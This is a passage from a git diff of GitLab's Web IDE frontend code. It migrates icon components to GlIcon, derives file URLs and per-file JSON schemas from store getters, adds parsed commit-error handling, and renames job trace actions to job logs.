-import { GlLoadingIcon } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlLoadingIcon, GlIcon } from '@gitlab/ui';
export default {
components: {
- Icon,
+ GlIcon,
GlLoadingIcon,
},
props: {
@@ -97,7 +96,7 @@ export default {
class="ide-navigator-btn d-flex align-items-center d-transparent border-0 bg-transparent"
@click="back"
>
- <icon :size="24" name="chevron-left" class="m-auto" />
+ <gl-icon :size="24" name="chevron-left" class="m-auto" />
</button>
<button
:aria-label="s__('IDE|Back')"
@@ -109,7 +108,7 @@ export default {
class="ide-navigator-btn d-flex align-items-center d-transparent border-0 bg-transparent"
@click="forward"
>
- <icon :size="24" name="chevron-right" class="m-auto" />
+ <gl-icon :size="24" name="chevron-right" class="m-auto" />
</button>
<button
:aria-label="s__('IDE|Refresh preview')"
@@ -117,7 +116,7 @@ export default {
class="ide-navigator-btn d-flex align-items-center d-transparent border-0 bg-transparent"
@click="refresh"
>
- <icon :size="18" name="retry" class="m-auto" />
+ <gl-icon :size="18" name="retry" class="m-auto" />
</button>
<div class="position-relative w-100 gl-ml-2">
<input
diff --git a/app/assets/javascripts/ide/components/repo_editor.vue b/app/assets/javascripts/ide/components/repo_editor.vue
index d22d430cb4a..f342ce1739c 100644
--- a/app/assets/javascripts/ide/components/repo_editor.vue
+++ b/app/assets/javascripts/ide/components/repo_editor.vue
@@ -14,7 +14,7 @@ import Editor from '../lib/editor';
import FileTemplatesBar from './file_templates/bar.vue';
import { __ } from '~/locale';
import { extractMarkdownImagesFromEntries } from '../stores/utils';
-import { getPathParent, readFileAsDataURL } from '../utils';
+import { getPathParent, readFileAsDataURL, registerSchema, isTextFile } from '../utils';
import { getRulesWithTraversal } from '../lib/editorconfig/parser';
import mapRulesToMonaco from '../lib/editorconfig/rules_mapper';
@@ -48,6 +48,7 @@ export default {
'renderWhitespaceInCode',
'editorTheme',
'entries',
+ 'currentProjectId',
]),
...mapGetters([
'currentMergeRequest',
@@ -55,10 +56,11 @@ export default {
'isEditModeActive',
'isCommitModeActive',
'currentBranch',
+ 'getJsonSchemaForPath',
]),
...mapGetters('fileTemplates', ['showFileTemplatesBar']),
shouldHideEditor() {
- return this.file && this.file.binary;
+ return this.file && !isTextFile(this.file);
},
showContentViewer() {
return (
@@ -196,6 +198,8 @@ export default {
this.editor.clearEditor();
+ this.registerSchemaForFile();
+
Promise.all([this.fetchFileData(), this.fetchEditorconfigRules()])
.then(() => {
this.createEditorInstance();
@@ -329,6 +333,10 @@ export default {
// do nothing if no image is found in the clipboard
return Promise.resolve();
},
+ registerSchemaForFile() {
+ const schema = this.getJsonSchemaForPath(this.file.path);
+ registerSchema(schema);
+ },
},
viewerTypes,
FILE_VIEW_MODE_EDITOR,
@@ -379,7 +387,7 @@ export default {
:path="file.rawPath || file.path"
:file-path="file.path"
:file-size="file.size"
- :project-path="file.projectId"
+ :project-path="currentProjectId"
:commit-sha="currentBranchCommit"
:type="fileType"
/>
@@ -390,7 +398,7 @@ export default {
:new-sha="currentMergeRequest.sha"
:old-path="file.mrChange.old_path"
:old-sha="currentMergeRequest.baseCommitSha"
- :project-path="file.projectId"
+ :project-path="currentProjectId"
/>
</div>
</template>
diff --git a/app/assets/javascripts/ide/components/repo_file_status_icon.vue b/app/assets/javascripts/ide/components/repo_file_status_icon.vue
index 9773e835a5c..1402f7aaf39 100644
--- a/app/assets/javascripts/ide/components/repo_file_status_icon.vue
+++ b/app/assets/javascripts/ide/components/repo_file_status_icon.vue
@@ -1,12 +1,12 @@
<script>
+import { GlIcon } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
-import icon from '~/vue_shared/components/icon.vue';
import tooltip from '~/vue_shared/directives/tooltip';
import '~/lib/utils/datetime_utility';
export default {
components: {
- icon,
+ GlIcon,
},
directives: {
tooltip,
@@ -29,6 +29,6 @@ export default {
<template>
<span v-if="file.file_lock" v-tooltip :title="lockTooltip" data-container="body">
- <icon name="lock" class="file-status-icon" />
+ <gl-icon name="lock" class="file-status-icon" />
</span>
</template>
diff --git a/app/assets/javascripts/ide/components/repo_tab.vue b/app/assets/javascripts/ide/components/repo_tab.vue
index 8370833233a..60a80a31a8b 100644
--- a/app/assets/javascripts/ide/components/repo_tab.vue
+++ b/app/assets/javascripts/ide/components/repo_tab.vue
@@ -1,9 +1,9 @@
<script>
-import { mapActions } from 'vuex';
+import { mapActions, mapGetters } from 'vuex';
+import { GlIcon } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import FileIcon from '~/vue_shared/components/file_icon.vue';
-import Icon from '~/vue_shared/components/icon.vue';
import ChangedFileIcon from '~/vue_shared/components/changed_file_icon.vue';
import FileStatusIcon from './repo_file_status_icon.vue';
@@ -11,7 +11,7 @@ export default {
components: {
FileStatusIcon,
FileIcon,
- Icon,
+ GlIcon,
ChangedFileIcon,
},
props: {
@@ -26,6 +26,7 @@ export default {
};
},
computed: {
+ ...mapGetters(['getUrlForPath']),
closeLabel() {
if (this.fileHasChanged) {
return sprintf(__(`%{tabname} changed`), { tabname: this.tab.name });
@@ -52,7 +53,7 @@ export default {
if (tab.pending) {
this.openPendingTab({ file: tab, keyPrefix: tab.staged ? 'staged' : 'unstaged' });
} else {
- this.$router.push(`/project${tab.url}`);
+ this.$router.push(this.getUrlForPath(tab.path));
}
},
mouseOverTab() {
@@ -79,7 +80,7 @@ export default {
@mouseover="mouseOverTab"
@mouseout="mouseOutTab"
>
- <div :title="tab.url" class="multi-file-tab">
+ <div :title="getUrlForPath(tab.path)" class="multi-file-tab">
<file-icon :file-name="tab.name" :size="16" />
{{ tab.name }}
<file-status-icon :file="tab" />
@@ -91,7 +92,7 @@ export default {
class="multi-file-tab-close"
@click.stop.prevent="closeFile(tab)"
>
- <icon v-if="!showChangedIcon" :size="12" name="close" />
+ <gl-icon v-if="!showChangedIcon" :size="12" name="close" />
<changed-file-icon v-else :file="tab" />
</button>
</li>
diff --git a/app/assets/javascripts/ide/components/repo_tabs.vue b/app/assets/javascripts/ide/components/repo_tabs.vue
index 47c75be3f7c..c03694e3619 100644
--- a/app/assets/javascripts/ide/components/repo_tabs.vue
+++ b/app/assets/javascripts/ide/components/repo_tabs.vue
@@ -1,5 +1,5 @@
<script>
-import { mapActions } from 'vuex';
+import { mapActions, mapGetters } from 'vuex';
import RepoTab from './repo_tab.vue';
export default {
@@ -20,6 +20,9 @@ export default {
required: true,
},
},
+ computed: {
+ ...mapGetters(['getUrlForPath']),
+ },
methods: {
...mapActions(['updateViewer', 'removePendingTab']),
openFileViewer(viewer) {
@@ -27,7 +30,7 @@ export default {
if (this.activeFile.pending) {
return this.removePendingTab(this.activeFile).then(() => {
- this.$router.push(`/project${this.activeFile.url}`);
+ this.$router.push(this.getUrlForPath(this.activeFile.path));
});
}
diff --git a/app/assets/javascripts/ide/components/shared/tokened_input.vue b/app/assets/javascripts/ide/components/shared/tokened_input.vue
index de3e71dad92..e7a4c5487d1 100644
--- a/app/assets/javascripts/ide/components/shared/tokened_input.vue
+++ b/app/assets/javascripts/ide/components/shared/tokened_input.vue
@@ -1,10 +1,10 @@
<script>
+import { GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
export default {
components: {
- Icon,
+ GlIcon,
},
props: {
placeholder: {
@@ -81,7 +81,7 @@ export default {
>
<div class="value-container rounded">
<div class="value">{{ token.label }}</div>
- <div class="remove-token inverted"><icon :size="10" name="close" /></div>
+ <div class="remove-token inverted"><gl-icon :size="10" name="close" /></div>
</div>
</button>
</div>
diff --git a/app/assets/javascripts/ide/components/terminal/empty_state.vue b/app/assets/javascripts/ide/components/terminal/empty_state.vue
index 5dd12e62820..3668dd24e81 100644
--- a/app/assets/javascripts/ide/components/terminal/empty_state.vue
+++ b/app/assets/javascripts/ide/components/terminal/empty_state.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { GlLoadingIcon } from '@gitlab/ui';
export default {
diff --git a/app/assets/javascripts/ide/components/terminal_sync/terminal_sync_status.vue b/app/assets/javascripts/ide/components/terminal_sync/terminal_sync_status.vue
index deb13b5615e..c3f722d6052 100644
--- a/app/assets/javascripts/ide/components/terminal_sync/terminal_sync_status.vue
+++ b/app/assets/javascripts/ide/components/terminal_sync/terminal_sync_status.vue
@@ -1,8 +1,7 @@
<script>
import { throttle } from 'lodash';
-import { GlTooltipDirective, GlLoadingIcon } from '@gitlab/ui';
+import { GlTooltipDirective, GlLoadingIcon, GlIcon } from '@gitlab/ui';
import { mapState } from 'vuex';
-import Icon from '~/vue_shared/components/icon.vue';
import {
MSG_TERMINAL_SYNC_CONNECTING,
MSG_TERMINAL_SYNC_UPLOADING,
@@ -11,7 +10,7 @@ import {
export default {
components: {
- Icon,
+ GlIcon,
GlLoadingIcon,
},
directives: {
@@ -70,7 +69,7 @@ export default {
<span>{{ __('Terminal') }}:</span>
<span class="square s16 d-flex-center ml-1" :aria-label="status.text">
<gl-loading-icon v-if="isLoading" inline size="sm" class="d-flex-center" />
- <icon v-else-if="status.icon" :name="status.icon" :size="16" />
+ <gl-icon v-else-if="status.icon" :name="status.icon" :size="16" />
</span>
</div>
</template>
diff --git a/app/assets/javascripts/ide/ide_router.js b/app/assets/javascripts/ide/ide_router.js
index 82cf8d7a10a..396aedbfa10 100644
--- a/app/assets/javascripts/ide/ide_router.js
+++ b/app/assets/javascripts/ide/ide_router.js
@@ -33,7 +33,6 @@ const EmptyRouterComponent = {
},
};
-// eslint-disable-next-line import/prefer-default-export
export const createRouter = store => {
const router = new IdeRouter({
mode: 'history',
diff --git a/app/assets/javascripts/ide/lib/diff/diff.js b/app/assets/javascripts/ide/lib/diff/diff.js
index 3a456b7c4d6..62ec798b372 100644
--- a/app/assets/javascripts/ide/lib/diff/diff.js
+++ b/app/assets/javascripts/ide/lib/diff/diff.js
@@ -1,8 +1,6 @@
import { diffLines } from 'diff';
import { defaultDiffOptions } from '../editor_options';
-// See: https://gitlab.com/gitlab-org/frontend/rfcs/-/issues/20
-// eslint-disable-next-line import/prefer-default-export
export const computeDiff = (originalContent, newContent) => {
// prevent EOL changes from highlighting the entire file
const changes = diffLines(
diff --git a/app/assets/javascripts/ide/lib/editor.js b/app/assets/javascripts/ide/lib/editor.js
index f061fcb1259..2b12230c7cd 100644
--- a/app/assets/javascripts/ide/lib/editor.js
+++ b/app/assets/javascripts/ide/lib/editor.js
@@ -7,10 +7,9 @@ import ModelManager from './common/model_manager';
import { editorOptions, defaultEditorOptions, defaultDiffEditorOptions } from './editor_options';
import { themes } from './themes';
import languages from './languages';
-import schemas from './schemas';
import keymap from './keymap.json';
import { clearDomElement } from '~/editor/utils';
-import { registerLanguages, registerSchemas } from '../utils';
+import { registerLanguages } from '../utils';
function setupThemes() {
themes.forEach(theme => {
@@ -46,10 +45,6 @@ export default class Editor {
setupThemes();
registerLanguages(...languages);
- if (gon.features?.schemaLinting) {
- registerSchemas(...schemas);
- }
-
this.debouncedUpdate = debounce(() => {
this.updateDimensions();
}, 200);
diff --git a/app/assets/javascripts/ide/lib/editorconfig/parser.js b/app/assets/javascripts/ide/lib/editorconfig/parser.js
index a30a8cb868d..1597e4a8bfa 100644
--- a/app/assets/javascripts/ide/lib/editorconfig/parser.js
+++ b/app/assets/javascripts/ide/lib/editorconfig/parser.js
@@ -42,7 +42,6 @@ function getRulesWithConfigs(filePath, configFiles = [], rules = {}) {
return isRoot ? result : getRulesWithConfigs(filePath, nextConfigs, result);
}
-// eslint-disable-next-line import/prefer-default-export
export function getRulesWithTraversal(filePath, getFileContent) {
const editorconfigPaths = [
...getPathParents(filePath).map(x => `${x}/.editorconfig`),
diff --git a/app/assets/javascripts/ide/lib/errors.js b/app/assets/javascripts/ide/lib/errors.js
new file mode 100644
index 00000000000..6ae18bc8180
--- /dev/null
+++ b/app/assets/javascripts/ide/lib/errors.js
@@ -0,0 +1,39 @@
+import { escape } from 'lodash';
+import { __ } from '~/locale';
+
+const CODEOWNERS_REGEX = /Push.*protected branches.*CODEOWNERS/;
+const BRANCH_CHANGED_REGEX = /changed.*since.*start.*edit/;
+
+export const createUnexpectedCommitError = () => ({
+ title: __('Unexpected error'),
+ messageHTML: __('Could not commit. An unexpected error occurred.'),
+ canCreateBranch: false,
+});
+
+export const createCodeownersCommitError = message => ({
+ title: __('CODEOWNERS rule violation'),
+ messageHTML: escape(message),
+ canCreateBranch: true,
+});
+
+export const createBranchChangedCommitError = message => ({
+ title: __('Branch changed'),
+ messageHTML: `${escape(message)}<br/><br/>${__('Would you like to create a new branch?')}`,
+ canCreateBranch: true,
+});
+
+export const parseCommitError = e => {
+ const { message } = e?.response?.data || {};
+
+ if (!message) {
+ return createUnexpectedCommitError();
+ }
+
+ if (CODEOWNERS_REGEX.test(message)) {
+ return createCodeownersCommitError(message);
+ } else if (BRANCH_CHANGED_REGEX.test(message)) {
+ return createBranchChangedCommitError(message);
+ }
+
+ return createUnexpectedCommitError();
+};
diff --git a/app/assets/javascripts/ide/lib/files.js b/app/assets/javascripts/ide/lib/files.js
index 6d85e225fd5..789e09fa8f2 100644
--- a/app/assets/javascripts/ide/lib/files.js
+++ b/app/assets/javascripts/ide/lib/files.js
@@ -1,4 +1,3 @@
-import { viewerInformationForPath } from '~/vue_shared/components/content_viewer/lib/viewer_utils';
import { decorateData, sortTree } from '../stores/utils';
export const splitParent = path => {
@@ -13,15 +12,7 @@ export const splitParent = path => {
/**
* Create file objects from a list of file paths.
*/
-export const decorateFiles = ({
- data,
- projectId,
- branchId,
- tempFile = false,
- content = '',
- binary = false,
- rawPath = '',
-}) => {
+export const decorateFiles = ({ data, tempFile = false, content = '', rawPath = '' }) => {
const treeList = [];
const entries = {};
@@ -41,12 +32,9 @@ export const decorateFiles = ({
parentPath = parentFolder && parentFolder.path;
const tree = decorateData({
- projectId,
- branchId,
id: path,
name,
path,
- url: `/${projectId}/tree/${branchId}/-/${path}/`,
type: 'tree',
tempFile,
changed: tempFile,
@@ -73,21 +61,16 @@ export const decorateFiles = ({
const fileFolder = parent && insertParent(parent);
if (name) {
- const previewMode = viewerInformationForPath(name);
parentPath = fileFolder && fileFolder.path;
file = decorateData({
- projectId,
- branchId,
id: path,
name,
path,
- url: `/${projectId}/blob/${branchId}/-/${path}`,
type: 'blob',
tempFile,
changed: tempFile,
content,
- binary: (previewMode && previewMode.binary) || binary,
rawPath,
parentPath,
});
diff --git a/app/assets/javascripts/ide/lib/schemas/index.js b/app/assets/javascripts/ide/lib/schemas/index.js
deleted file mode 100644
index 38a2f81921b..00000000000
--- a/app/assets/javascripts/ide/lib/schemas/index.js
+++ /dev/null
@@ -1,4 +0,0 @@
-import json from './json';
-import yaml from './yaml';
-
-export default [json, yaml];
diff --git a/app/assets/javascripts/ide/lib/schemas/json/index.js b/app/assets/javascripts/ide/lib/schemas/json/index.js
deleted file mode 100644
index 900d5442bec..00000000000
--- a/app/assets/javascripts/ide/lib/schemas/json/index.js
+++ /dev/null
@@ -1,8 +0,0 @@
-export default {
- language: 'json',
- options: {
- validate: true,
- enableSchemaRequest: true,
- schemas: [],
- },
-};
diff --git a/app/assets/javascripts/ide/lib/schemas/yaml/gitlab_ci.js b/app/assets/javascripts/ide/lib/schemas/yaml/gitlab_ci.js
deleted file mode 100644
index af20744abb3..00000000000
--- a/app/assets/javascripts/ide/lib/schemas/yaml/gitlab_ci.js
+++ /dev/null
@@ -1,4 +0,0 @@
-export default {
- uri: 'https://json.schemastore.org/gitlab-ci',
- fileMatch: ['*.gitlab-ci.yml'],
-};
diff --git a/app/assets/javascripts/ide/lib/schemas/yaml/index.js b/app/assets/javascripts/ide/lib/schemas/yaml/index.js
deleted file mode 100644
index e3fc406df4b..00000000000
--- a/app/assets/javascripts/ide/lib/schemas/yaml/index.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import gitlabCi from './gitlab_ci';
-
-export default {
- language: 'yaml',
- options: {
- validate: true,
- enableSchemaRequest: true,
- hover: true,
- completion: true,
- schemas: [gitlabCi],
- },
-};
diff --git a/app/assets/javascripts/ide/services/gql.js b/app/assets/javascripts/ide/services/gql.js
index 211cc78bd99..89dda187360 100644
--- a/app/assets/javascripts/ide/services/gql.js
+++ b/app/assets/javascripts/ide/services/gql.js
@@ -17,5 +17,4 @@ const getClient = memoize(() =>
),
);
-// eslint-disable-next-line import/prefer-default-export
export const query = (...args) => getClient().query(...args);
diff --git a/app/assets/javascripts/ide/services/index.js b/app/assets/javascripts/ide/services/index.js
index ae4a1ba3db5..70a6a6b423d 100644
--- a/app/assets/javascripts/ide/services/index.js
+++ b/app/assets/javascripts/ide/services/index.js
@@ -33,7 +33,7 @@ export default {
})
.then(({ data }) => data);
},
- getBaseRawFileData(file, sha) {
+ getBaseRawFileData(file, projectId, ref) {
if (file.tempFile || file.baseRaw) return Promise.resolve(file.baseRaw);
// if files are renamed, their base path has changed
@@ -44,10 +44,10 @@ export default {
.get(
joinPaths(
gon.relative_url_root || '/',
- file.projectId,
+ projectId,
'-',
'raw',
- sha,
+ ref,
escapeFileUrl(filePath),
),
{
diff --git a/app/assets/javascripts/ide/stores/actions.js b/app/assets/javascripts/ide/stores/actions.js
index b083dc6325f..b8d59f8bd36 100644
--- a/app/assets/javascripts/ide/stores/actions.js
+++ b/app/assets/javascripts/ide/stores/actions.js
@@ -25,15 +25,7 @@ export const setResizingStatus = ({ commit }, resizing) => {
export const createTempEntry = (
{ state, commit, dispatch, getters },
- {
- name,
- type,
- content = '',
- binary = false,
- rawPath = '',
- openFile = true,
- makeFileActive = true,
- },
+ { name, type, content = '', rawPath = '', openFile = true, makeFileActive = true },
) => {
const fullName = name.slice(-1) !== '/' && type === 'tree' ? `${name}/` : name;
@@ -54,21 +46,14 @@ export const createTempEntry = (
const data = decorateFiles({
data: [fullName],
- projectId: state.currentProjectId,
- branchId: state.currentBranchId,
type,
tempFile: true,
content,
- binary,
rawPath,
});
const { file, parentPath } = data;
- commit(types.CREATE_TMP_ENTRY, {
- data,
- projectId: state.currentProjectId,
- branchId: state.currentBranchId,
- });
+ commit(types.CREATE_TMP_ENTRY, { data });
if (type === 'blob') {
if (openFile) commit(types.TOGGLE_FILE_OPEN, file.path);
@@ -90,7 +75,6 @@ export const addTempImage = ({ dispatch, getters }, { name, rawPath = '' }) =>
name: getters.getAvailableFileName(name),
type: 'blob',
content: rawPath.split('base64,')[1],
- binary: true,
rawPath,
openFile: false,
makeFileActive: false,
@@ -254,7 +238,7 @@ export const renameEntry = ({ dispatch, commit, state, getters }, { path, name,
}
if (newEntry.opened) {
- dispatch('router/push', `/project${newEntry.url}`, { root: true });
+ dispatch('router/push', getters.getUrlForPath(newEntry.path), { root: true });
}
}
diff --git a/app/assets/javascripts/ide/stores/actions/file.js b/app/assets/javascripts/ide/stores/actions/file.js
index c0cb924e749..3515d1fc933 100644
--- a/app/assets/javascripts/ide/stores/actions/file.js
+++ b/app/assets/javascripts/ide/stores/actions/file.js
@@ -6,7 +6,7 @@ import * as types from '../mutation_types';
import { setPageTitleForFile } from '../utils';
import { viewerTypes, stageKeys } from '../../constants';
-export const closeFile = ({ commit, state, dispatch }, file) => {
+export const closeFile = ({ commit, state, dispatch, getters }, file) => {
const { path } = file;
const indexOfClosedFile = state.openFiles.findIndex(f => f.key === file.key);
const fileWasActive = file.active;
@@ -29,10 +29,12 @@ export const closeFile = ({ commit, state, dispatch }, file) => {
keyPrefix: nextFileToOpen.staged ? 'staged' : 'unstaged',
});
} else {
- dispatch('router/push', `/project${nextFileToOpen.url}`, { root: true });
+ dispatch('router/push', getters.getUrlForPath(nextFileToOpen.path), { root: true });
}
} else if (!state.openFiles.length) {
- dispatch('router/push', `/project/${file.projectId}/tree/${file.branchId}/`, { root: true });
+ dispatch('router/push', `/project/${state.currentProjectId}/tree/${state.currentBranchId}/`, {
+ root: true,
+ });
}
eventHub.$emit(`editor.update.model.dispose.${file.key}`);
@@ -121,7 +123,7 @@ export const getRawFileData = ({ state, commit, dispatch, getters }, { path }) =
const baseSha =
(getters.currentMergeRequest && getters.currentMergeRequest.baseCommitSha) || '';
- return service.getBaseRawFileData(file, baseSha).then(baseRaw => {
+ return service.getBaseRawFileData(file, state.currentProjectId, baseSha).then(baseRaw => {
commit(types.SET_FILE_BASE_RAW_DATA, {
file,
baseRaw,
@@ -218,7 +220,7 @@ export const discardFileChanges = ({ dispatch, state, commit, getters }, path) =
if (!isDestructiveDiscard && file.path === getters.activeFile?.path) {
dispatch('updateDelayViewerUpdated', true)
.then(() => {
- dispatch('router/push', `/project${file.url}`, { root: true });
+ dispatch('router/push', getters.getUrlForPath(file.path), { root: true });
})
.catch(e => {
throw e;
@@ -274,7 +276,7 @@ export const openPendingTab = ({ commit, dispatch, getters, state }, { file, key
commit(types.ADD_PENDING_TAB, { file, keyPrefix });
- dispatch('router/push', `/project/${file.projectId}/tree/${state.currentBranchId}/`, {
+ dispatch('router/push', `/project/${state.currentProjectId}/tree/${state.currentBranchId}/`, {
root: true,
});
diff --git a/app/assets/javascripts/ide/stores/actions/tree.js b/app/assets/javascripts/ide/stores/actions/tree.js
index 1ca608f1287..3a7daf30cc4 100644
--- a/app/assets/javascripts/ide/stores/actions/tree.js
+++ b/app/assets/javascripts/ide/stores/actions/tree.js
@@ -61,11 +61,7 @@ export const getFiles = ({ state, commit, dispatch }, payload = {}) =>
service
.getFiles(selectedProject.path_with_namespace, ref)
.then(({ data }) => {
- const { entries, treeList } = decorateFiles({
- data,
- projectId,
- branchId,
- });
+ const { entries, treeList } = decorateFiles({ data });
commit(types.SET_ENTRIES, entries);
diff --git a/app/assets/javascripts/ide/stores/getters.js b/app/assets/javascripts/ide/stores/getters.js
index 53734fa626b..b8304a9b68d 100644
--- a/app/assets/javascripts/ide/stores/getters.js
+++ b/app/assets/javascripts/ide/stores/getters.js
@@ -6,6 +6,7 @@ import {
PERMISSION_CREATE_MR,
PERMISSION_PUSH_CODE,
} from '../constants';
+import Api from '~/api';
export const activeFile = state => state.openFiles.find(file => file.active) || null;
@@ -174,3 +175,21 @@ export const getAvailableFileName = (state, getters) => path => {
return newPath;
};
+
+export const getUrlForPath = state => path =>
+ `/project/${state.currentProjectId}/tree/${state.currentBranchId}/-/${path}/`;
+
+export const getJsonSchemaForPath = (state, getters) => path => {
+ const [namespace, ...project] = state.currentProjectId.split('/');
+ return {
+ uri:
+ // eslint-disable-next-line no-restricted-globals
+ location.origin +
+ Api.buildUrl(Api.projectFileSchemaPath)
+ .replace(':namespace_path', namespace)
+ .replace(':project_path', project.join('/'))
+ .replace(':ref', getters.currentBranch?.commit.id || state.currentBranchId)
+ .replace(':filename', path),
+ fileMatch: [`*${path}`],
+ };
+};
diff --git a/app/assets/javascripts/ide/stores/modules/commit/actions.js b/app/assets/javascripts/ide/stores/modules/commit/actions.js
index 277e6923f17..90a6c644d17 100644
--- a/app/assets/javascripts/ide/stores/modules/commit/actions.js
+++ b/app/assets/javascripts/ide/stores/modules/commit/actions.js
@@ -1,6 +1,5 @@
import { sprintf, __ } from '~/locale';
import { deprecatedCreateFlash as flash } from '~/flash';
-import httpStatusCodes from '~/lib/utils/http_status';
import * as rootTypes from '../../mutation_types';
import { createCommitPayload, createNewMergeRequestUrl } from '../../utils';
import service from '../../../services';
@@ -8,6 +7,7 @@ import * as types from './mutation_types';
import consts from './constants';
import { leftSidebarViews } from '../../../constants';
import eventHub from '../../../eventhub';
+import { parseCommitError } from '../../../lib/errors';
export const updateCommitMessage = ({ commit }, message) => {
commit(types.UPDATE_COMMIT_MESSAGE, message);
@@ -113,6 +113,7 @@ export const commitChanges = ({ commit, state, getters, dispatch, rootState, roo
? Promise.resolve()
: dispatch('stageAllChanges', null, { root: true });
+ commit(types.CLEAR_ERROR);
commit(types.UPDATE_LOADING, true);
return stageFilesPromise
@@ -128,6 +129,12 @@ export const commitChanges = ({ commit, state, getters, dispatch, rootState, roo
return service.commit(rootState.currentProjectId, payload);
})
+ .catch(e => {
+ commit(types.UPDATE_LOADING, false);
+ commit(types.SET_ERROR, parseCommitError(e));
+
+ throw e;
+ })
.then(({ data }) => {
commit(types.UPDATE_LOADING, false);
@@ -214,24 +221,5 @@ export const commitChanges = ({ commit, state, getters, dispatch, rootState, roo
{ root: true },
),
);
- })
- .catch(err => {
- commit(types.UPDATE_LOADING, false);
-
- // don't catch bad request errors, let the view handle them
- if (err.response.status === httpStatusCodes.BAD_REQUEST) throw err;
-
- dispatch(
- 'setErrorMessage',
- {
- text: __('An error occurred while committing your changes.'),
- action: () =>
- dispatch('commitChanges').then(() => dispatch('setErrorMessage', null, { root: true })),
- actionText: __('Please try again'),
- },
- { root: true },
- );
-
- window.dispatchEvent(new Event('resize'));
});
};
diff --git a/app/assets/javascripts/ide/stores/modules/commit/mutation_types.js b/app/assets/javascripts/ide/stores/modules/commit/mutation_types.js
index 7ad8f3570b7..47ec2ffbdde 100644
--- a/app/assets/javascripts/ide/stores/modules/commit/mutation_types.js
+++ b/app/assets/javascripts/ide/stores/modules/commit/mutation_types.js
@@ -3,3 +3,6 @@ export const UPDATE_COMMIT_ACTION = 'UPDATE_COMMIT_ACTION';
export const UPDATE_NEW_BRANCH_NAME = 'UPDATE_NEW_BRANCH_NAME';
export const UPDATE_LOADING = 'UPDATE_LOADING';
export const TOGGLE_SHOULD_CREATE_MR = 'TOGGLE_SHOULD_CREATE_MR';
+
+export const CLEAR_ERROR = 'CLEAR_ERROR';
+export const SET_ERROR = 'SET_ERROR';
diff --git a/app/assets/javascripts/ide/stores/modules/commit/mutations.js b/app/assets/javascripts/ide/stores/modules/commit/mutations.js
index 73b618e250f..2cf6e8e6f36 100644
--- a/app/assets/javascripts/ide/stores/modules/commit/mutations.js
+++ b/app/assets/javascripts/ide/stores/modules/commit/mutations.js
@@ -24,4 +24,10 @@ export default {
shouldCreateMR: shouldCreateMR === undefined ? !state.shouldCreateMR : shouldCreateMR,
});
},
+ [types.CLEAR_ERROR](state) {
+ state.commitError = null;
+ },
+ [types.SET_ERROR](state, error) {
+ state.commitError = error;
+ },
};
diff --git a/app/assets/javascripts/ide/stores/modules/commit/state.js b/app/assets/javascripts/ide/stores/modules/commit/state.js
index f49737485f2..de092a569ad 100644
--- a/app/assets/javascripts/ide/stores/modules/commit/state.js
+++ b/app/assets/javascripts/ide/stores/modules/commit/state.js
@@ -4,4 +4,5 @@ export default () => ({
newBranchName: '',
submitCommitLoading: false,
shouldCreateMR: true,
+ commitError: null,
});
diff --git a/app/assets/javascripts/ide/stores/modules/pane/getters.js b/app/assets/javascripts/ide/stores/modules/pane/getters.js
index 7816172bb6f..ce597329df1 100644
--- a/app/assets/javascripts/ide/stores/modules/pane/getters.js
+++ b/app/assets/javascripts/ide/stores/modules/pane/getters.js
@@ -1,3 +1,2 @@
-// eslint-disable-next-line import/prefer-default-export
export const isAliveView = state => view =>
state.keepAliveViews[view] || (state.isOpen && state.currentView === view);
diff --git a/app/assets/javascripts/ide/stores/modules/pipelines/actions.js b/app/assets/javascripts/ide/stores/modules/pipelines/actions.js
index 86b889546b0..99bd08ee876 100644
--- a/app/assets/javascripts/ide/stores/modules/pipelines/actions.js
+++ b/app/assets/javascripts/ide/stores/modules/pipelines/actions.js
@@ -118,31 +118,31 @@ export const setDetailJob = ({ commit, dispatch }, job) => {
});
};
-export const requestJobTrace = ({ commit }) => commit(types.REQUEST_JOB_TRACE);
-export const receiveJobTraceError = ({ commit, dispatch }) => {
+export const requestJobLogs = ({ commit }) => commit(types.REQUEST_JOB_LOGS);
+export const receiveJobLogsError = ({ commit, dispatch }) => {
dispatch(
'setErrorMessage',
{
- text: __('An error occurred while fetching the job trace.'),
+ text: __('An error occurred while fetching the job logs.'),
action: () =>
- dispatch('fetchJobTrace').then(() => dispatch('setErrorMessage', null, { root: true })),
+ dispatch('fetchJobLogs').then(() => dispatch('setErrorMessage', null, { root: true })),
actionText: __('Please try again'),
actionPayload: null,
},
{ root: true },
);
- commit(types.RECEIVE_JOB_TRACE_ERROR);
+ commit(types.RECEIVE_JOB_LOGS_ERROR);
};
-export const receiveJobTraceSuccess = ({ commit }, data) =>
- commit(types.RECEIVE_JOB_TRACE_SUCCESS, data);
+export const receiveJobLogsSuccess = ({ commit }, data) =>
+ commit(types.RECEIVE_JOB_LOGS_SUCCESS, data);
-export const fetchJobTrace = ({ dispatch, state }) => {
- dispatch('requestJobTrace');
+export const fetchJobLogs = ({ dispatch, state }) => {
+ dispatch('requestJobLogs');
return axios
.get(`${state.detailJob.path}/trace`, { params: { format: 'json' } })
- .then(({ data }) => dispatch('receiveJobTraceSuccess', data))
- .catch(() => dispatch('receiveJobTraceError'));
+ .then(({ data }) => dispatch('receiveJobLogsSuccess', data))
+ .catch(() => dispatch('receiveJobLogsError'));
};
export const resetLatestPipeline = ({ commit }) => {
diff --git a/app/assets/javascripts/ide/stores/modules/pipelines/constants.js b/app/assets/javascripts/ide/stores/modules/pipelines/constants.js
index f5b96327e40..bb4145934ff 100644
--- a/app/assets/javascripts/ide/stores/modules/pipelines/constants.js
+++ b/app/assets/javascripts/ide/stores/modules/pipelines/constants.js
@@ -1,4 +1,3 @@
-// eslint-disable-next-line import/prefer-default-export
export const states = {
failed: 'failed',
};
diff --git a/app/assets/javascripts/ide/stores/modules/pipelines/mutation_types.js b/app/assets/javascripts/ide/stores/modules/pipelines/mutation_types.js
index f4c36b9d96f..fea3055e0fe 100644
--- a/app/assets/javascripts/ide/stores/modules/pipelines/mutation_types.js
+++ b/app/assets/javascripts/ide/stores/modules/pipelines/mutation_types.js
@@ -10,6 +10,6 @@ export const TOGGLE_STAGE_COLLAPSE = 'TOGGLE_STAGE_COLLAPSE';
export const SET_DETAIL_JOB = 'SET_DETAIL_JOB';
